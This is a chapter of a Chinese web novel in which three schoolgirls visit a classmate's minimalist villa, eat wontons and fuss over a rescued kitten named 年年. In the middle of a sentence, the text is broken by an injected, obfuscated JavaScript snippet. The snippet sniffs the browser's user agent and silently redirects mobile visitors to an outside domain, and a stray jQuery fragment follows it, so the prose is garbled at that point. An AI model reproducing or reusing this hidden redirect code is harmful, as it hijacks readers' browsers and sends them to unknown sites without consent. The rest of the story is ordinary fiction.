“这里面都是独栋别墅,四位数起步,一进去,还得走一段路。”蓝燕仪眺望了一下里面的别墅群,不争气地流下了口水。 “四位数?”金欢喜重新系了一下鞋带,一脸震惊。四位数?怎么可能。 蓝燕仪“诶”了一声,摇头晃脑:“四位数,但是单位是万,你想哪去了。” 金欢喜想起自己家80万的负债,默默叹了口气。这对于付家来说,也只是一点点钱吧。 “不过,这富人区虽然贵,住的人却抠门得很。”蓝燕仪凑到金欢喜耳边,小声嘀咕。 “你从哪听来的八卦?” “我爷爷住这。” 金欢喜满头黑线,这是明晃晃的以偏概全,就因为爷爷一个人,造谣了富人一个区。 “嗯?你还是个隐藏的富三代?” “没,我爸不受宠,我们家只能算小康。”蓝燕仪摆摆手,说到父母,不再往下提了。 她一直不愿意谈家里的事情,金欢喜没再追问,低头看了看手机的消息。 【行歌:进来吧。】 大门自动打开,金欢喜和蓝燕仪像是刘姥姥进大观园一样,走一步看一步,发出赞叹的声音。 “看看这水。”真水啊。 “看看这山。”真山啊。 “看看这路。”不就是普通的柏油路吗? 两人面面相觑,这地方除了环境好点,真找不出什么值得夸赞的地方。这高昂的价格,完全来自优越的地理位置、覆盖面极广的绿化、特殊的身份证明。 只要住在这里,就算得上富人吗? “你不是说你爷爷住这?”金欢喜狐疑地看了蓝燕仪一眼,既然长辈在这里,怎么会对这里不熟悉呢? “哎呀,他住这不代表我来过啊。”蓝燕仪勾住她的肩,“走吧走吧,付子衿肯定等急了。” 走了一小段路,两人终于到达了目的地。 远远的,就看见大金主付子衿穿了一身休闲装,松松垮垮地站在打开的铁栏杆边上,专心致志地看着手机。 蓝燕仪在金欢喜耳边啧啧出声:“这家伙在学校里一丝不苟的像个老顽固,原来这肩也是可以放下来的。” 金欢喜笑着轻轻踹了她一脚,快步走上前。 听到逐渐清晰的脚步声,付子衿收了手机,看向她们。 “吃饭了吗?” “吃了。” “没吃。” 金欢喜和蓝燕仪对视一眼。 “没吃。” “吃了。” 金欢喜瞪了一眼蓝燕仪:不是说没吃吗? 蓝燕仪反瞪了她一眼:你不是说吃了吗? 两人眼珠子越瞪越大,站在门口的付子衿只好在上方拍了拍手,制止了两位小学生吵架。她把手搭在铁栏杆上,侧过身,摆出邀请的姿态:“不管吃没吃,我煮了小馄饨,进来尝尝吧。” “咕——” 两人同时看向金欢喜。 金欢喜严肃地板着脸,像是来巡视的领导,迈着大步,脚下生风,走进了屋。 最先说“吃了”的人进去了,蓝燕仪还没进门,靠着墙,没忍住,捶着墙,笑了好一会儿。 站在台阶上的付子衿没笑,语气和善:“看来你是吃过了。” 蓝燕仪没敢继续嘲笑金欢喜,收了声,站得笔直,跨着正步进了门。 看着她俩进了门,付子衿才关上了特意为小猫新装的铁栏杆。 付家是四层的独栋别墅,外边看着大气,内里却十分简洁。极简的设计,单调的配色,金欢喜站在门口,看着鞋柜里的三双酒店款拖鞋,怀疑她家是不是遭了贼,被贼偷了个一干二净,看起来比她家还穷。 身后的蓝燕仪探过头一看,大惊。 “付子衿,你家连个像样的拖鞋都没有?” 虽然不是一次性的拖鞋,但这也无法改变它是酒店拖鞋的事实。 跟上来的付子衿换了拖鞋,“吧嗒吧嗒”地跑进了屋,手里拿着两双崭新的酒店拖鞋跑出来,放在她俩脚边。 “新的。” 金欢喜犹豫了一会儿,一边换鞋一边问她:“家里是特意买的酒店的拖鞋吗?” 付子衿摇摇头:“他们出差的酒店会送。” 除了拖鞋,孟语桐和付译文还喜欢搜刮酒店的茶包、咖啡,主打一个满载而归。 两人的思想极其相似——既然花了钱,就是我的东西。 金欢喜:……真是接地气的有钱人。 蓝燕仪换好了鞋,鬼鬼祟祟地凑过来:“我就说吧,有钱人都抠门!你可小心点,指不定付子衿多抠门呢。” 金欢喜白了她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908171|147346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,迫不及待地看向付子衿:“馄饨呢?” 一想到要来付家,金欢喜整宿没睡,天一亮,深怕自己堵车迟到,饭也没吃就出门了,到了和悦,觅食了一圈,边上还全是住宅区。又被后到的蓝燕仪抓住,告知了噩耗——和悦只有里面有超市。一番折腾下来,她已经快要饿死了。 “餐桌上。” 于是三人来到餐桌旁,金欢喜自觉地坐下,自觉地拿起勺子,自觉地喝了口汤。 等她发出满足的喟叹,蓝燕仪晃了晃她的身子:“你是一点儿都不客气,像个常客。” 金欢喜一转头,不知何时已经泪流满面:“燕仪啊,你是不知道,子衿她烧得有多好吃!” 蓝燕仪吓得后退几步,和付子衿对视一眼,各自拿了勺子尝了一口。 普通。实在是普通。这孩子真的是饿傻了。 傻孩子还在吃第二碗馄饨,边吃边竖大拇指,信誓旦旦:“我发誓,这是我吃过最好吃的东西!” 坐在旁边的付子衿捂着脸,实在接受不了这真诚的夸赞,只能转身去卧室把猫抱了出来。 “喵~”小三花看见虎视眈眈的三只两脚兽,害怕地蹬了蹬腿。 “哎呀,这是从哪里来的可爱的小猫咪啊。”金欢喜放下勺子,冲刺到小猫身边,捏了捏它软软的猫爪子。 诶?哪里来的夹子? 付子衿身子一僵,第一次见识到金欢喜与众不同的另一面。 没人在餐桌上了,蓝燕仪也凑过来:“欢喜,你像个偷猫贼。” 循循善诱,像个怪阿姨。 金欢喜冷哼一声,从付子衿怀里接过小三花,脸上笑出了花:“咱们年年真好看是不是?都是你妈养得好啊!” 蓝燕仪张了张口,想说话,却不知道说什么。这人怎么还睁着眼睛说瞎话呢?这小猫才养了几天?又不是付子衿亲生的,长得好看是它自己争气啊! “怎么想到给小猫取名叫年年。”金欢喜举着小猫转了一圈,不出意外被小猫虚空踹了一脚。 “……”付子衿想起了那只死去的大三花。 “因为猫妈妈走的时候没吃到鱼罐头。”蓝燕仪大大咧咧地回答。 金欢喜当即泪眼汪汪,抱紧了年年。 付子衿明白,她大概已经猜到了小猫是从哪里来的,安慰道:“生死无常。” 根据会长的说法,早在金欢喜救助大三花的时候,它已经命不久矣了。 “何止是生死无常,世事无常啊!一眨眼,我们都快要毕业了。”蓝燕仪揪了揪小猫耳朵,露出不怀好意的微笑,“年年,跟姨姨走吧。” 付子衿一巴掌扇在她手上,把小猫抱回了屋。 金欢喜没了毛茸茸,失望地坐回餐桌,感慨:“为母则刚。” 回来的付子衿双手抱臂,提醒:“不要乱用成语。” 蓝燕仪在一旁深以为然地点点头。 看了猫,吃了饭,三人一起玩了会儿游戏,就打算回家。 蓝燕仪先走了,金欢喜被付子衿叫住。 “好好学习。” 金欢喜应了,快步走了,称得上是落荒而逃。 付子衿站在门口,看着她的背影消失在转角。 她原本想再提一次之前的问题,话到了嘴边,却觉得不太合适。 再等等。 只要你我都清楚问题的答案,终会找到合适的契机。